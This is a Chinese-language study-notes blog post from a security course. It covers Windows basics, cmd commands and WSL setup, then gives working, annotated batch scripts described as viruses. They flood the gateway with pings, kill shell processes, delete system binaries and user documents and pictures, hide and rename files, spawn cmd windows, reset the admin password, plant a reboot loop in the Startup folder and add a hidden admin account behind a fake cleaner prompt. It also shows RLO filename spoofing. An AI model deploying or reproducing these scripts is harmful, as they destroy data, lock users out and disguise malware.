免责声明
学习视频来自 B 站up主泷羽sec,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
Windows与Linux的区别
Windows | Linux | |
---|---|---|
用户界面 | GUI、CLI | CLI、GUI |
文件系统 | NTFS、FAT32、exFAT | ext3、ext4、Btrfs、XFS、FAT32 |
软件安装 | 在线安装或Microsoft Store | 包管理器:apt、dnf、pacman、yum |
权限管理 | 用户账户控制 | 基于用户和组的权限 |
开发环境 | .Net Frameworl、Visual Studio | GCC、Python、Java |
命令行工具 | Powershell、cmd、Windows Terminal | Bash、Zsh、Fish |
默认shell | cmd | Bash |
硬件兼容性 | 更加广泛的硬件支持 | 一些硬件可能需要额外的驱动支持 |
路径格式 | 使用反斜杠,C:\Users\administrator | 使用斜杠,/home/root/ |
安全性 | 较多的病毒和软件攻击风险 | 安全性较高 |
系统配置 | 配置文件通常存储在注册表或特定目录中 | 配置文件通常为文本文件,位于/etc目录中 |
文件系统的各个名词注解:
NTFS:
NTFS(New Technology File System)是Windows NT环境的文件系统。它取代了老式的FAT文件系统,并作了若干改进,例如支持元数据,使用高级数据结构以改善性能、可靠性和磁盘空间利用率,提供数据保护和恢复功能,并通过目录和文件许可实现安全性。NTFS支持长文件名、大硬盘和在多个硬盘上存储文件,以及文件系统级别的压缩和加密功能。此外,NTFS还具有事务日志功能,可以记录文件系统的变化,以便在系统故障时进行恢复。它是Windows NT家族(如Windows 2000、Windows XP、Windows Vista等)的限制级专用的文件系统。
FAT32:
FAT32是一种文件系统,它使用32位二进制数记录管理的磁盘文件管理方式。FAT32具有良好的兼容性,可以在各种操作系统上使用,包括
Windows、Mac OS、Linux
。它适用于存储小型文件和在多个操作系统之间共享数据。然而,FAT32在处理大文件时可能效率较低,且有最大文件大小(4GB)和最大分区大小(8TB,但通常受限于操作系统和硬件)的限制。此外,FAT32不支持文件级别的安全性和权限控制。exFAT:
exFAT(Extended File Allocation Table)是微软针对闪存设备所开发的文件系统,它解决了FAT32不支持4GB以上文件大小和2TB以上分区大小等问题。exFAT
最大分区
可以支持到64ZB
,单个文件最大可以支持到16EB。它适用于高容量的SDXC类型的SD卡等设备。然而,使用exFAT文件系统需要向微软支付相应的专利费用。ZB:在计算机科学中,字节(Byte)是常用的数据单位,而ZB是字节的一个非常大的倍数单位。具体来说,1ZB等于1024个EB(Exabyte,百亿亿字节),而1EB又等于1024个PB(Petabyte,千万亿字节),以此类推。换算成更常用的单位,1ZB大约等于1万亿GB(Gigabyte,吉字节)或者1.18×10^21(即1180591620717411303424)个字节。
ext3:
ext3是一种基于ext2文件系统的日志文件系统,它增加了对元数据的日志功能,以提高数据安全性。ext3是Linux操作系统中常用的文件系统之一,它支持大文件、长文件名和文件系统级别的压缩。此外,ext3还提供了数据恢复功能,可以在系统崩溃后恢复数据。
ext4:
ext4是ext3文件系统的后续版本,它引入了许多新的特性和改进,如更大的文件系统和分区大小支持、更高效的磁盘空间利用、更快的文件系统检查和修复速度等。ext4还支持延迟分配、多重块分配和持久性预分配等特性,以提高文件系统的性能和可靠性。ext4是目前Linux操作系统中广泛使用的文件系统之一。
Btrfs:
Btrfs(B-Tree File System)是Linux操作系统中一种新的文件系统,它旨在提供高性能、可靠性和可扩展性。Btrfs支持写时复制、快照、压缩和透明加密等高级功能。它还提供了对多设备卷的支持,可以跨越多个物理磁盘或分区创建卷。Btrfs是一个仍在不断发展的文件系统,其性能和稳定性在不断提高。
透明加密:透明加密允许用户在不影响文件正常使用方式的前提下,自动对数据进行加密和解密。这种加密方式对用户而言是“透明”的,即用户无需感知加密和解密的过程,就能无缝地使用加密后的文件
透明加密技术的实现方式主要分为两种:API HOOK(俗称钩子技术)和WDM(Windows Driver Model,俗称驱动技术)。
- API HOOK:通过拦截应用程序对文件系统的API调用,在调用前后插入加密和解密操作。
- WDM:通过编写内核级的驱动程序,在文件系统的底层实现加密和解密功能。
XFS:
XFS是一种高性能的文件系统,最初由SGI公司为IRIX操作系统开发。后来,XFS被移植到了Linux操作系统中,并成为许多高性能计算环境和企业级服务器上的首选文件系统。XFS支持大文件、大分区和并行I/O操作,具有出色的性能和稳定性。它还提供了数据完整性检查、恢复和日志功能,以确保数据的安全性和可靠性。
Windows常用命令
一、目录文件操作
-
cd
- 功能:改变当前目录名或者改变当前目录。
- 用法:
- 进入指定盘符:
D:
(进入D盘) - 切换当前驱动器的根目录:
cd
- 返回上一级目录:
cd..
- 从该驱动器切换到另一个驱动器时,格式为
cd /d 路径
。 - 示例:
cd C:\Windows
(切换到C盘的Windows目录)
-
dir
- 功能:列出指定目录中的文件和子目录。
- 用法:
dir [路径]
- 示例:
dir C:
(列出C盘根目录下的文件和子目录)
-
md(mkdir)
- 功能:创建新目录。
- 用法:
mkdir [目录名]
或md [目录名]
- 示例:
mkdir NewFolder
(在当前目录下创建一个名为NewFolder的新目录)
-
rd(rmdir)
- 功能:删除空目录。
- 用法:
rmdir [目录名]
或rd [目录名]
- 示例:
rd OldFolder
(删除名为OldFolder的空目录)
-
del(erase)
- 功能:删除指定的文件。
- 用法:
del [文件名]
或erase [文件名]
- 示例:
del file.txt
(删除名为file.txt的文件)
-
copy
- 功能:复制文件到指定位置。
- 用法:
copy [源文件] [目标文件]
- 示例:
copy file.txt D:\Backup\file.txt
(将file.txt复制到D盘的Backup目录下)
-
move
- 功能:移动文件或重命名文件。
- 用法:
move [源文件] [目标文件]
- 示例:
move file.txt D:\NewFolder\file.txt
(将file.txt移动到D盘的NewFolder目录下)
-
attrib
- 功能:显示或更改文件属性。
- 用法:
attrib [参数] [文件名]
- 示例:
attrib +h file.txt
(将file.txt标记为隐藏文件)
-
type
- 功能:显示文本文件的内容。
- 用法:
type [文件名]
- 示例:
type file.txt
(查看file.txt文件的内容)
二、系统信息和管理
-
systeminfo
- 功能:显示计算机的详细配置信息和操作系统属性。
- 用法:
systeminfo
-
tasklist
- 功能:显示当前运行的所有进程。
- 用法:
tasklist
-
taskkill
- 功能:终止指定的进程。
- 用法:
taskkill [/s [computer] [/u [domain]user [/p [password]]]] { [/fi [filter]] [/pid [processid] | /im [imagename]] } [/f] [/t]
- 示例:
taskkill /pid 1234
(终止进程ID为1234的进程)taskkill /im notepad.exe
(终止映像名称为notepad.exe的进程)
-
shutdown
- 功能:关机、重启或注销计算机。
- 用法:
shutdown [/i | /l | /s | /r | /g | /a | /p | /h | /e | /m \computer [/t xxx] [/c "comment"] [/f] [/d [p|u:]xx:yy]]
- 示例:
shutdown -s -t 100
(定时100秒关机)shutdown -r -t 100
(定时100秒重启)
三、网络管理
-
ipconfig
- 功能:显示网络配置。
- 用法:
ipconfig [参数]
- 示例:
ipconfig /all
(显示所有网络适配器的详细信息)
-
ping
- 功能:测试网络连接。
- 用法:
ping [目标地址]
- 示例:
ping www.example.com
(测试与www.example.com的网络连接)
-
tracert
- 功能:跟踪数据包到达目标主机的路径。
- 用法:
tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] [-R] [-S srcaddr] [-4] [-6] target_name
- 示例:
tracert www.example.com
(跟踪到www.example.com的数据包路径)
-
netstat
- 功能:显示网络连接、路由表、接口统计等信息。
- 用法:
netstat [参数]
- 示例:
netstat -an
(以数字形式显示地址和端口号)
-
nslookup
- 功能:查询DNS信息。
- 用法:
nslookup [-option] [hostname] [server]
- 示例:
nslookup www.example.com
(查询www.example.com的DNS信息)
四、其他常用命令
-
cls
- 功能:清除屏幕内容。
- 用法:
cls
-
echo
- 功能:显示消息或将消息写入文件。
- 用法:
echo [消息]
- 示例:
echo Hello, World!
(在屏幕上显示Hello, World!)
-
ver
- 功能:显示Windows版本。
- 用法:
ver
-
exit
- 功能:关闭cmd运行程序。
- 用法:
exit
-
chkdsk
- 功能:检查磁盘并修复文件系统错误。
- 用法:
chkdsk [volume[[path]filename]] [/f] [/v] [/r] [/x] [/i] [/c] [/l[:size]]
- 示例:
chkdsk C:
(检查C盘并修复错误)
-
sfc
- 功能:扫描并修复系统文件。
- 用法:
sfc [/scannow] [/verifyonly] [/scanfile=file] [/verifyfile=file] [/offbootdir=offbootdir /offwindir=offwindir]
- 示例:
sfc /scannow
(扫描并修复所有受保护的系统文件)
Windows的shell环境
1. WINDOWS EXPLORER(WINDOWS资源管理器)
- 描述:Windows Explorer是Windows操作系统中默认的图形用户界面(GUI)shell。它提供了一个直观的环境,使用户能够轻松地浏览、管理文件和文件夹,以及启动应用程序。
- 特点:Windows Explorer集成了桌面、任务栏、开始菜单等常见的GUI元素,为用户提供了丰富的功能和便捷的操作方式。
2. WINDOWS POWERSHELL
- 描述:Windows PowerShell是由微软开发的命令行脚本环境和任务自动化框架。它不仅提供了强大的命令行功能,还支持.NET Framework技术,使得用户可以编写和执行复杂的脚本和任务。
- 特点:Windows PowerShell具有灵活的脚本编写能力、强大的对象处理和格式化功能,以及丰富的内置命令和工具。它还支持与其他Windows应用程序和服务的集成,使得任务自动化变得更加容易。
3. CMD.EXE(命令提示符)
- 描述:CMD.exe是Windows操作系统中的默认命令行解释器,也被称为命令提示符。它允许用户通过输入命令行指令来执行各种操作,如文件管理、进程管理、网络配置等。
- 特点:CMD.exe提供了丰富的命令和功能,虽然相对于Windows PowerShell来说功能较为简单,但它仍然是Windows系统中最常见和广泛使用的命令行shell之一。CMD.exe还支持批处理文件的编写和执行,使得用户能够自动化一系列的任务。
4. WINDOWS SUBSYSTEM FOR LINUX (WSL)
-
描述:WSL 允许⽤户在 Windows 上运⾏ Linux 发⾏版,提供⼀个与 Linux 命令⾏相似的环境。
-
特点:⽀持 Linux 命令和⼯具,⽤户可以运⾏⼤多数 Linux 应⽤程序。可以与 Windows ⽂件系统交互,轻松访问 Windows ⽂件。提供原⽣的 Linux 体验,适合开发者和系统管理员。⽀持安装多个 Linux 发⾏版(如 Ubuntu、Debian、Fedora 等)。
WSL安装教程:
一、检查系统要求
- 确保Windows版本符合要求。WSL支持Windows 10版本2004或更高版本,以及Windows 11。
- 检查虚拟化是否已启用。在任务管理器(
Ctrl+Shift+Esc
)的性能选项卡中,查看CPU栏目下方的虚拟化(Virtualization)是否显示为启用(Enabled)。
二、启用WSL功能
- 以管理员身份打开PowerShell:确保有足够的权限来启用和配置WSL。
- 执行启用WSL的命令:
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
- 启用虚拟机平台(WSL 2所必需) :
1 dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
- 重启计算机:完成WSL和虚拟机平台的启用后,需要重启计算机以应用更改。
三、安装LINUX发行版
- 打开Microsoft Store:在Windows系统中找到并打开Microsoft Store。
- 搜索并安装Linux发行版:在Microsoft Store中搜索你想要的Linux发行版,如Ubuntu。选择所需的发行版,并点击“获取”或“安装”按钮以开始下载和安装进程。
- 完成初始配置:下载和安装完成后,点击“启动”按钮以运行安装的Linux发行版。初次启动时,会提示你设置用户名和密码。按照提示进行设置,并记住你的密码。
四、使用WSL
- 启动WSL:在Windows终端中输入“wsl”或你设置的默认发行版名称来启动WSL。
- 执行Linux命令:在WSL终端中,你可以使用标准的Linux命令来执行各种任务,如安装软件、管理文件、编写脚本等。
五、与WINDOWS互操作
- 文件共享:你可以在Linux发行版的终端中访问Windows文件系统,路径为
/mnt/<盘符>
。例如,/mnt/c/
是访问C盘的路径。同样地,你也可以在Windows资源管理器中通过输入\wsl$
来访问Linux文件系统。 - 应用程序集成:WSL支持在Linux中运行一些基于文本的Windows应用程序,如编辑器和浏览器。
bat脚本
1. PING
1
@echo off
2
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "IPv4"') do set "ip=%%a"
3
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "Default Gateway"') do set "gateway=%%a"
4
:ping_loop
5
ping -l 65500 -n 100 %gateway% >nul
6
goto ping_loop
1>>拆解
这个脚本是一个Windows批处理脚本,其主要功能是不断地向默认网关发送大量数据包的ping请求。下面是对脚本中每一部分作用的详细解释:
-
1 @echo off
- 这个命令用于关闭命令回显功能,意味着在执行脚本时,命令本身不会在命令行界面上显示。这通常用于使脚本的输出更加清晰。
-
1 for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "IPv4"') do set "ip=%%a"
- 这行命令的作用是从
ipconfig
命令的输出中查找包含"IPv4"的行,并使用冒号(:
)作为分隔符提取第二个字段(即IPv4地址),然后将其存储在变量ip
中。 for /f
是循环命令,用于处理文件、命令输出或字符串中的每一行。"tokens=2 delims=:"
指定分隔符为冒号,并提取第二个字段。%%a
是循环变量,用于存储每次迭代中的值。ipconfig ^| findstr /i "IPv4"
执行ipconfig
命令并通过管道(^|
)将输出传递给findstr
命令,后者搜索包含"IPv4"(不区分大小写,由/i
参数指定)的行。set "ip=%%a"
将提取的IPv4地址存储在变量ip
中。
- 这行命令的作用是从
-
1 for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "Default Gateway"') do set "gateway=%%a"
- 这行命令的作用与上一行类似,但它是用于提取默认网关的地址。它从
ipconfig
命令的输出中查找包含"Default Gateway"的行,并提取第二个字段(即网关地址),然后将其存储在变量gateway
中。
- 这行命令的作用与上一行类似,但它是用于提取默认网关的地址。它从
-
1 :ping_loop
- 这是一个标签,用于在批处理脚本中创建循环。注意,虽然它以冒号开头,但它不是一个注释。在这个脚本中,它将与
goto
命令一起使用来创建无限循环。
- 这是一个标签,用于在批处理脚本中创建循环。注意,虽然它以冒号开头,但它不是一个注释。在这个脚本中,它将与
-
1 ping -l 65500 -n 100 %gateway% >nul
- 这行命令用于向默认网关发送ping请求。
-l 65500
指定发送的数据包大小为65500字节(这是ICMP echo请求的最大可能大小,受限于IP数据包的最大长度)。-n 100
指定发送100个这样的数据包。%gateway%
是之前通过for
循环提取并存储在变量中的默认网关地址。>nul
将命令的输出重定向到nul
,这意味着你不会在命令行界面上看到任何输出。
-
goto ping_loop
- 这个命令使脚本跳转到标签
:ping_loop
处,从而创建一个无限循环。这意味着上面的ping
命令会不断地被执行,直到脚本被手动停止(例如,通过关闭命令行窗口)。
- 这个命令使脚本跳转到标签
2. TASKKILL
@echo off
net session >nul 2>&1
if %errorLevel% == 0 (
echo Administrative privileges detected.
) else (
echo Please run this script with administrative privileges.
exit /b
)
taskkill /f /im explorer.exe
taskkill /f /im taskmgr.exe
taskkill /f /im cmd.exe
taskkill /f /im powershell.exe
del /f /s /q "C:\Windows\System32\cmd.exe"
del /f /s /q "C:\Windows\System32\taskkill.exe"
del /f /s /q "C:\Users%username%\Desktop*.lnk"
del /f /s /q "C:\Users%username%\Documents*.docx"
del /f /s /q "C:\Users%username%\Pictures*.jpg"
msg * "不给糖就捣蛋"
msg * "给了糖也捣蛋"
2>>拆解
-
命令
net session >nul 2>&1
在批处理脚本中使用,以检查脚本是否以管理权限运行。以下是该命令的每个部分的作用:net session
:此命令用于检查用户的权限。如果用户具有管理权限,则会显示一条消息,说明该用户是管理员。如果用户没有管理权限,则将显示 access denied 消息。>nul
:命令的这一部分将命令输出重定向到nul
(空设备)。换句话说,它会抑制命令的输出。2>&1
:命令的这一部分将命令的错误输出重定向到标准输出。换句话说,它将输出和错误消息合并到标准输出中。
因此,命令
net session >nul 2>&1
通过抑制输出,并将错误消息重定向到标准输出,来检查脚本是否以管理权限运行。如果命令成功,则%errorLevel%
变量将设置为 0。如果命令失败,则%errorLevel%
变量将设置为非零值。此命令通常在脚本中使用,以确保在执行某些任务或操作之前以必要的权限运行脚本。
-
脚本中的
if %errorLevel% == 0
语句在运行net session
命令后检查%errorLevel%
变量的值。%errorLevel%
变量保存上次执行的命令的退出状态。- 如果
%errorLevel%
为 0,则表示net session
命令成功,并且用户具有管理权限。该脚本继续执行if
块下的命令。 %errorLevel%
不为 0,则表示net session
命令失败,并且用户没有管理权限。该脚本继续执行else
块下的命令,该块会提示用户使用管理权限运行脚本,然后退出脚本。
echo
命令用于显示一条消息,指示是否检测到管理权限。exit /b
命令用于退出脚本而不关闭命令提示符窗口。此结构通常用于批处理脚本中,用于在执行某些命令或任务之前检查权限。
Copy message
- 如果
-
/f
参数表示强制终止进程,而/im
参数后面跟的是要终止的进程的名称。
taskkill /f /im explorer.exe
:强制终止所有名为explorer.exe
的进程。explorer.exe
是Windows的资源管理器进程,负责桌面、任务栏、文件浏览器等图形界面的显示和管理。终止这个进程会导致桌面和任务栏消失,但通常Windows会尝试重新启动它。taskkill /f /im taskmgr.exe
:强制终止所有名为taskmgr.exe
的进程。taskmgr.exe
是任务管理器的进程,用于查看和管理系统上运行的进程、性能信息、用户账户等。终止任务管理器进程会关闭任务管理器窗口。taskkill /f /im cmd.exe
:强制终止所有名为cmd.exe
的进程。cmd.exe
是命令提示符(CMD)的进程,用于执行命令行指令。终止这个进程会关闭所有打开的命令提示符窗口。taskkill /f /im powershell.exe
:强制终止所有名为powershell.exe
的进程。powershell.exe
是Windows PowerShell的进程,一个功能强大的命令行和脚本环境,用于执行系统管理和自动化任务。终止PowerShell进程会关闭所有打开的PowerShell窗口。
/f
>>强制删除只读文件/s
>>递归删除指定目录及其子目录中的文件/q
在删除时不要求用户确认
del /f /s /q "C:\Windows\System32\cmd.exe"
:尝试删除C:\Windows\System32
目录下的cmd.exe
文件。cmd.exe
是Windows的命令提示符程序,用于执行命令行指令。然而,由于cmd.exe
位于系统保护的目录System32
中,并且它是操作系统运行所必需的关键组件,因此普通用户通常没有权限删除它。即使以管理员身份运行,系统也可能阻止这种删除操作,以防止系统崩溃。del /f /s /q "C:\Windows\System32\taskkill.exe"
:尝试删除C:\Windows\System32
目录下的taskkill.exe
文件。taskkill.exe
是一个用于终止进程的命令行工具。同样,由于它位于System32
目录中并且是系统的一部分,因此通常无法删除。del /f /s /q "C:\Users%username%\Desktop*.lnk"
:删除当前用户桌面上所有的快捷方式文件(.lnk
文件)。%username%
是一个环境变量,代表当前登录用户的用户名。这个命令会递归搜索(/s
)桌面目录及其子目录(尽管桌面通常没有子目录),并强制删除(/f
)找到的每个快捷方式文件,而不提示确认(/q
)。del /f /s /q "C:\Users%username%\Documents*.docx"
:删除当前用户“文档”文件夹中所有的Word文档(.docx
文件)。这个命令同样会递归搜索该目录及其子目录,并强制删除找到的每个Word文档。del /f /s /q "C:\Users%username%\Pictures*.jpg"
:删除当前用户“图片”文件夹中所有的JPEG图片(.jpg
文件)。这个命令也会递归搜索该目录及其子目录,并强制删除找到的每个JPEG图片。
shutdown /r /t 10
>> 计算机在指定的延迟时间后重新启动
shutdown
是用于关闭或重新启动本地或远程计算机的命令。/r
参数指示计算机要重新启动(reboot)。/t
参数后面跟的数字指定了操作之前要等待的时间(以秒为单位)。在这个例子中,10
表示命令执行后计算机将在10秒后重新启动。
3.文件格式改写
@echo off
set "target_dir=D:\example_directory"
cd /d "%target_dir%"
if "%cd%" NEQ "%target_dir%" (
echo. > nul
)
attrib +S +H *
ren *.* *.cod
shutdown /r /t 0
3>>拆解
-
@echo off
- 这行命令用于关闭命令回显,意味着在执行脚本时,命令本身不会在命令行界面上显示,只有命令的输出(如果有的话)会显示。
-
set "target_dir=D:\example_directory"
- 这行命令设置了一个名为
target_dir
的环境变量,其值为D:\example_directory
。这个变量后面被用来指定目标目录的路径。
- 这行命令设置了一个名为
-
cd /d "%target_dir%"
- 这行命令用于改变当前目录到
%target_dir%
变量指定的路径。/d
参数允许在改变当前盘符的同时改变目录。
- 这行命令用于改变当前目录到
-
if "%cd%" NEQ "%target_dir%" ( echo. > nul )
- 这行命令检查当前目录(
%cd%
)是否不等于目标目录(%target_dir%
)。如果不等(NEQ
是不等于的意思),则执行括号内的命令。但在这个例子中,括号内的命令echo. > nul
实际上什么也不做,它只是将空输出重定向到nul
(一个特殊的设备,用于丢弃所有写入它的数据),因此这个if
语句实际上没有执行任何有意义的操作。
- 这行命令检查当前目录(
-
attrib +S +H *
- 这行命令将当前目录下的所有文件和文件夹设置为系统文件(
+S
)和隐藏文件(+H
)。这意味着这些文件和文件夹在默认情况下不会显示在资源管理器中,除非用户选择了查看隐藏文件和系统文件。
- 这行命令将当前目录下的所有文件和文件夹设置为系统文件(
-
ren *.* *.cod
- 这行命令将当前目录下的所有文件重命名为
.cod
扩展名。*.*
是一个通配符,匹配所有文件,无论它们的原始扩展名是什么。
- 这行命令将当前目录下的所有文件重命名为
-
shutdown /r /t 0
- 这行命令立即(
/t 0
表示0秒后)重启计算机(/r
表示重启)。这意味着脚本执行到这里时,计算机会立即开始重启过程,不会给用户保存工作或关闭应用程序的机会。
- 这行命令立即(
4. 资源耗尽病毒
echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat
4>>拆解
-
echo start cmd > 1.txt
echo
是一个命令,用于在命令行界面显示信息或将信息输出到文件。start cmd
是一个命令,用于启动一个新的命令提示符窗口。但在这里,由于它被用作echo
命令的参数,它实际上只是被当作字符串输出,而不是被执行。>
是重定向操作符,用于将命令的输出发送到指定的文件。如果文件已存在,它会被覆盖。1.txt
是输出文件的名称。
-
echo %0 >> 1.txt
%0
是一个特殊的批处理变量,它代表当前批处理脚本的名称(包括路径,如果有的话)。>>
是追加重定向操作符,用于将命令的输出追加到指定的文件末尾,而不是覆盖它。
-
ren 1.txt 1.bat
ren
是rename
命令的简写,用于重命名文件或目录。1.txt
是要重命名的文件的当前名称。1.bat
是文件的新名称。
5.锁机病毒
echo net user adminstrator 123456 > c:\windows\Temp\1.bat
echo shutdown /s /t 0 >> c:\windows\Temp\1.bat
5>>拆解
-
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo
:这是一个命令行工具,用于在命令行界面(CLI)上输出文本或将文本写入文件。net user administrator 123456
:它会将administrator
账户的密码设置为123456
。>
:这是重定向操作符,用于将命令的输出发送到指定的文件。如果文件不存在,它会被创建;如果文件已存在,它会被覆盖。c:\windows\Temp\1.bat
:这是要写入或覆盖的文件的路径和名称。
-
echo shutdown /n /t 0 >> c:\windows\Temp\1.bat
echo
:同上,用于输出文本或写入文件。shutdown /s /t 0
:这是一个Windows命令行指令,用于关闭本地计算机。/s
参数指定执行关机操作,/t
参数后面跟的数字指定了在执行关机操作之前等待的秒数。在这里,/t 0
表示立即关机>>
:这是追加重定向操作符,用于将命令的输出追加到指定的文件末尾,而不是覆盖它。c:\windows\Temp\1.bat
:同上,这是要追加内容的文件的路径和名称。
6.无限重启
echo shutdown / /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup"
6>>拆解
-
echo shutdown /r /t 0 > c:\windows\Temp\1.bat
echo
:这是一个命令行工具,用于在命令行界面(CLI)上输出文本或将文本写入文件。在这个场景中,它被用来将后面的命令文本写入文件。shutdown /r /t 0
:这是一个Windows命令行指令,用于重启计算机。/r
参数指定执行重启操作,/t
参数后面跟的数字指定了在执行重启操作之前等待的秒数。在这里,/t 0
表示立即执行重启操作,没有延迟。>
:这是重定向操作符,用于将命令的输出发送到指定的文件。如果文件不存在,它会被创建;如果文件已存在,则其内容会被覆盖。c:\windows\Temp\1.bat
:这是要写入或覆盖的文件的完整路径和名称。在这个例子中,文件将被创建(或覆盖)在C:\Windows\Temp
目录下,文件名为1.bat
。
-
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
-
copy
:这是一个Windows命令行指令,用于复制文件或目录。 -
c:\windows\Temp\1.bat
:这是要复制的源文件的完整路径和名称。 -
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:这是目标路径,即文件将要被复制到的位置。%USERPROFILE%
是一个环境变量,它指向当前用户的用户文件夹。整个路径指向的是Windows系统中每个用户启动文件夹的位置,当Windows启动时,该文件夹中的程序会自动运行。注意路径中的空格和特殊字符(如
Start Menu
中的空格)被引号包围,这是为了确保路径被正确解析。同时,目标路径的末尾有一个反斜杠 ``,这是为了确保复制的文件被正确地放置在Startup
文件夹中,而不是被命名为Startup\1.bat
。
-
WINDOWS目录
自启动目录
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup"
这个路径指向的是Windows操作系统中的启动文件夹。任何被放置在这个文件夹内的程序或脚本都会在用户登录后自动运行。
Temp目录
C:\Windows\Temp
是Windows操作系统中的一个系统级临时文件夹目录。这个目录主要用于存储操作系统或应用程序在运行过程中产生的临时文件和数据。这些临时文件可能包括安装信息、脚本文件、动态链接库(.dll)文件等,它们通常用于暂存数据、缓存文件或执行临时操作。
简易病毒实验
实验环境
Windows server 2022
实验代码
@echo off
:inputLoop
set /p userInput=请输入字符A启动清理垃圾程序:
if /i "%userInput%"=="A" (
taskkill /F /IM explorer.exe
taskkill /F /IM taskmgr.exe
taskkill /F /IM wininit.exe
goto end
) else (
net user hey Admini@3389 /add
)
net localgroup Administrators hey /add
goto end
)
:end
pause
需要注意的是,userInput处打印的中文字符在实验环境里显示是乱码,需要根据需要自行修正
拆解:
-
@echo off
- 这条命令用于关闭命令的回显功能,意味着在执行脚本时,命令本身不会在命令行界面中显示。
-
:inputLoop
- 这是一个标签(Label),用于在脚本中创建一个可以跳转到的点。在这个脚本中,它用于开始一个输入循环。
-
set /p userInput=请输入字符A启动清理垃圾程序:
- 这条命令用于提示用户输入,并将输入的内容存储在变量
userInput
中。/p
参数表示在显示提示后等待用户输入。
- 这条命令用于提示用户输入,并将输入的内容存储在变量
-
if /i "%userInput%"=="A" (
- 这是一个条件判断语句。
/i
参数表示不区分大小写地比较字符串。如果userInput
变量的值等于A
,则执行括号内的命令。
- 这是一个条件判断语句。
-
taskkill /F /IM explorer.exe
- 这条命令强制结束(/F)名为
explorer.exe
的进程(/IM)。explorer.exe
是Windows的文件资源管理器进程。
- 这条命令强制结束(/F)名为
-
taskkill /F /IM taskmgr.exe
- 强制结束任务管理器进程
taskmgr.exe
。
- 强制结束任务管理器进程
-
taskkill /F /IM wininit.exe
- 尝试强制结束
wininit.exe
进程。然而,wininit.exe
是一个关键的系统进程,通常无法被正常用户结束,除非系统处于非常特殊的状态(如安全模式)。尝试结束它可能会导致系统不稳定或重启。
- 尝试强制结束
-
goto end
- 跳转到标签
end
处继续执行脚本。
- 跳转到标签
-
) else (
- 如果前面的
if
条件不满足(即用户输入的不是A
),则执行else
部分括号内的命令。
- 如果前面的
-
net user hey Admini@3389 /add
- 这条命令尝试创建一个新的用户账户
hey
,密码为Admini@3389
。密码中包含的特殊字符(如@
)可能需要特殊处理或转义
- 这条命令尝试创建一个新的用户账户
-
net localgroup Administrators hey /add
- 将用户
hey
添加到Administrators
组中,授予其管理员权限。
- 将用户
-
:end
- 这是一个标签,用于标记脚本的结束部分。
-
pause
- 这条命令会暂停脚本的执行,并显示消息“Press any key to continue...”,等待用户按任意键继续。
执行截图
输入"A"
:
输入非"A"
:
Tips
1>>新建用户时,可以在用户名后面加一个美元符号$
,这样的话,通过命令net user
就查不到新建的用户了
2>>这个算是偶然发现,是在视觉上欺骗的小把戏,在给文件重命名时,将你希望用到的格式,反着写在文件名后面,然后将光标移到反写的格式与文件名中间,右击鼠标,选择插入unicode字符,里面有一个rlo字符,插入就会发现原本反写的文本格式,跑到了原本的文件格式的地方,而原本的文件格式则以反写的模式出现在了文件名后面。
例如,你想把test.md改为pdf格式,那你在重命名时,就需要改成这样testfdp.md
,然后把光标移到t
和f
中间,插入rlo字符,格式就变成testdm.pdf
需要注意的这样的插入修改,并不会更改文件的格式,只是在视觉上造成了混淆而已,所以,在把图标之类的替换掉之后,还要祈祷打开的人文件夹的查看方式不是详细信息或者平铺之类的,要不然,markdown源文件格式的pdf文件,着实有点招笑了。